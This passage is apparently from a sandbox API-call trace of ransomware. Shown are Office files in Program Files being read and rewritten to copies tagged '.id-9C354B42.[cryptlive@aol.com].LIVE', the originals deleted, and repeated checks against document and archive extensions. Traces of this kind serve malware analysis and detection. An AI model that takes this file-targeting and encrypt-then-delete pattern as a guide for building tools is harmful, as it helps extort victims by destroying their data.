"c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.762] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1212288) returned 1 [0142.762] CloseHandle (hObject=0x380) returned 1 [0142.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll")) returned 0x20 [0142.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.763] lstrlenW (lpString=".doc") returned 4 [0142.763] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.763] lstrlenW (lpString=".docx") returned 5 [0142.763] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0142.763] lstrlenW (lpString=".pdf") returned 4 [0142.763] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.763] lstrlenW (lpString=".xls") returned 4 [0142.763] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.763] lstrlenW (lpString=".xlsx") returned 5 [0142.764] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0142.764] lstrlenW (lpString=".ppt") returned 4 [0142.764] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.764] lstrlenW (lpString=".zip") returned 4 [0142.764] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.764] lstrlenW (lpString=".rar") returned 4 [0142.764] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.764] lstrlenW (lpString=".bz2") returned 4 [0142.764] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.764] lstrlenW (lpString=".7z") returned 3 [0142.764] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.764] lstrlenW (lpString=".dbf") returned 4 [0142.764] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.764] lstrlenW (lpString=".1cd") returned 4 [0142.764] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.764] lstrlenW (lpString=".jpg") returned 4 [0142.764] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.764] lstrlenW (lpString=".doc") returned 4 [0142.764] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.764] lstrlenW (lpString=".docx") returned 5 [0142.764] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0142.764] lstrlenW (lpString=".pdf") returned 4 [0142.764] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.764] lstrlenW (lpString=".xls") returned 4 [0142.764] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.764] lstrlenW (lpString=".xlsx") returned 5 [0142.764] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0142.764] lstrlenW (lpString=".ppt") returned 4 [0142.764] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.764] lstrlenW (lpString=".zip") returned 4 [0142.765] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.765] lstrlenW (lpString=".rar") returned 4 [0142.765] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.765] lstrlenW (lpString=".bz2") returned 4 [0142.765] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.765] lstrlenW (lpString=".7z") returned 3 [0142.765] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.765] lstrlenW (lpString=".dbf") returned 4 [0142.765] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.765] lstrlenW (lpString=".1cd") returned 4 [0142.765] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0142.765] lstrlenW (lpString=".jpg") returned 4 [0142.765] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.765] lstrcmpiW (lpString1=".ACL", lpString2=".LIVE") returned -1 [0142.765] lstrlenW (lpString="MSO.ACL") returned 7 [0142.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.766] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=37762) returned 1 [0142.766] CloseHandle (hObject=0x380) returned 1 [0142.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl")) returned 0x20 [0142.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.767] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.767] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.767] GetLastError () returned 0x0 [0142.767] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x9382, lpOverlapped=0x0) returned 1 [0142.770] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x9390, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x9390, lpOverlapped=0x0) returned 1 [0142.771] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.771] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0142.771] SetEndOfFile (hFile=0x3ac) returned 1 [0142.771] CloseHandle (hObject=0x3ac) returned 1 [0142.771] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.771] SetEndOfFile (hFile=0x380) returned 1 [0142.774] CloseHandle (hObject=0x380) returned 1 [0142.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl")) returned 1 [0142.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.775] lstrlenW (lpString=".doc") returned 4 [0142.775] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0142.775] lstrlenW (lpString=".docx") returned 5 [0142.775] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0142.775] lstrlenW (lpString=".pdf") returned 4 [0142.775] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0142.775] lstrlenW (lpString=".xls") returned 4 [0142.775] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0142.776] lstrlenW (lpString=".xlsx") returned 5 [0142.776] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0142.776] lstrlenW (lpString=".ppt") returned 4 [0142.776] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0142.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.776] lstrlenW (lpString=".zip") returned 4 [0142.776] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0142.776] lstrlenW (lpString=".rar") returned 4 [0142.776] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0142.776] lstrlenW (lpString=".bz2") returned 4 [0142.776] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0142.776] lstrlenW (lpString=".7z") returned 3 [0142.776] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0142.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.776] lstrlenW (lpString=".dbf") returned 4 [0142.776] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0142.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.776] lstrlenW (lpString=".1cd") returned 4 [0142.776] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0142.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.776] lstrlenW (lpString=".jpg") returned 4 [0142.776] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0142.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.776] lstrlenW (lpString=".doc") returned 4 [0142.776] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0142.776] lstrlenW (lpString=".docx") returned 5 [0142.776] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0142.776] lstrlenW (lpString=".pdf") returned 4 [0142.776] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0142.776] lstrlenW (lpString=".xls") returned 4 [0142.776] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0142.776] lstrlenW (lpString=".xlsx") returned 5 [0142.776] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0142.776] lstrlenW (lpString=".ppt") returned 4 [0142.776] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0142.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.777] lstrlenW (lpString=".zip") returned 4 [0142.777] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0142.777] lstrlenW (lpString=".rar") returned 4 [0142.777] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0142.777] lstrlenW (lpString=".bz2") returned 4 [0142.777] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0142.777] lstrlenW (lpString=".7z") returned 3 [0142.777] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0142.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.777] lstrlenW (lpString=".dbf") returned 4 [0142.777] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0142.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.777] lstrlenW (lpString=".1cd") returned 4 [0142.777] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0142.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55 [0142.777] lstrlenW (lpString=".jpg") returned 4 [0142.777] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0142.777] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0142.777] lstrlenW (lpString="MSOUC.HXS") returned 9 [0142.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.778] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=431456) returned 1 [0142.778] CloseHandle (hObject=0x380) returned 1 [0142.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs")) returned 0x20 [0142.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.778] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.778] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.779] GetLastError () returned 0x0 [0142.779] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x69560, lpOverlapped=0x0) returned 1 [0143.049] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x69570, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x69570, lpOverlapped=0x0) returned 1 [0143.057] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.057] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0143.057] SetEndOfFile (hFile=0x3ac) returned 1 [0143.058] CloseHandle (hObject=0x3ac) returned 1 [0143.058] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.058] SetEndOfFile (hFile=0x380) returned 1 [0143.068] CloseHandle (hObject=0x380) returned 1 [0143.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs")) returned 1 [0143.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.194] lstrlenW (lpString=".doc") returned 4 [0143.194] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0143.194] lstrlenW (lpString=".docx") returned 5 [0143.194] lstrcmpiW (lpString1=".docx", lpString2="C.HXS") returned -1 [0143.194] lstrlenW (lpString=".pdf") returned 4 [0143.194] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0143.194] lstrlenW (lpString=".xls") returned 4 [0143.194] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0143.194] lstrlenW (lpString=".xlsx") returned 5 [0143.194] lstrcmpiW (lpString1=".xlsx", lpString2="C.HXS") returned -1 [0143.194] lstrlenW (lpString=".ppt") returned 4 [0143.194] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0143.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.194] lstrlenW (lpString=".zip") returned 4 [0143.194] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0143.194] lstrlenW (lpString=".rar") returned 4 [0143.194] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0143.195] lstrlenW (lpString=".bz2") returned 4 [0143.195] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0143.195] lstrlenW (lpString=".7z") returned 3 [0143.195] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0143.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.195] lstrlenW (lpString=".dbf") returned 4 [0143.195] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0143.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.195] lstrlenW (lpString=".1cd") returned 4 [0143.195] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0143.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.195] lstrlenW (lpString=".jpg") returned 4 [0143.195] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0143.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.195] lstrlenW (lpString=".doc") returned 4 [0143.195] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0143.195] lstrlenW (lpString=".docx") returned 5 [0143.195] lstrcmpiW (lpString1=".docx", lpString2="C.HXS") returned -1 [0143.195] lstrlenW (lpString=".pdf") returned 4 [0143.195] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0143.195] lstrlenW (lpString=".xls") returned 4 [0143.195] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0143.195] lstrlenW (lpString=".xlsx") returned 5 [0143.195] lstrcmpiW (lpString1=".xlsx", lpString2="C.HXS") returned -1 [0143.195] lstrlenW (lpString=".ppt") returned 4 [0143.195] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0143.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.195] lstrlenW (lpString=".zip") returned 4 [0143.195] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0143.195] lstrlenW (lpString=".rar") returned 4 [0143.195] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0143.195] lstrlenW (lpString=".bz2") returned 4 [0143.195] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0143.195] lstrlenW (lpString=".7z") returned 3 [0143.195] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0143.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.196] lstrlenW (lpString=".dbf") returned 4 [0143.196] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0143.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.196] lstrlenW (lpString=".1cd") returned 4 [0143.196] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0143.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0143.196] lstrlenW (lpString=".jpg") returned 4 [0143.196] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0143.196] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0143.196] lstrlenW (lpString="MSPUB_COL.HXT") returned 13 [0143.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.196] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=205) returned 1 [0143.196] CloseHandle (hObject=0x384) returned 1 [0143.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt")) returned 0x20 [0143.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.197] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.197] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.197] GetLastError () returned 0x0 [0143.197] ReadFile (in: hFile=0x384, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xcd, lpOverlapped=0x0) returned 1 [0143.198] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0143.199] ReadFile (in: hFile=0x384, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.199] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xee, lpOverlapped=0x0) returned 1 [0143.199] SetEndOfFile (hFile=0x388) returned 1 [0143.200] CloseHandle (hObject=0x388) returned 1 [0143.200] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.200] SetEndOfFile (hFile=0x384) returned 1 [0143.204] CloseHandle (hObject=0x384) returned 1 [0143.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt")) returned 1 [0143.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.205] lstrlenW (lpString=".doc") returned 4 [0143.205] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0143.205] lstrlenW (lpString=".docx") returned 5 [0143.205] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0143.205] lstrlenW (lpString=".pdf") returned 4 [0143.205] 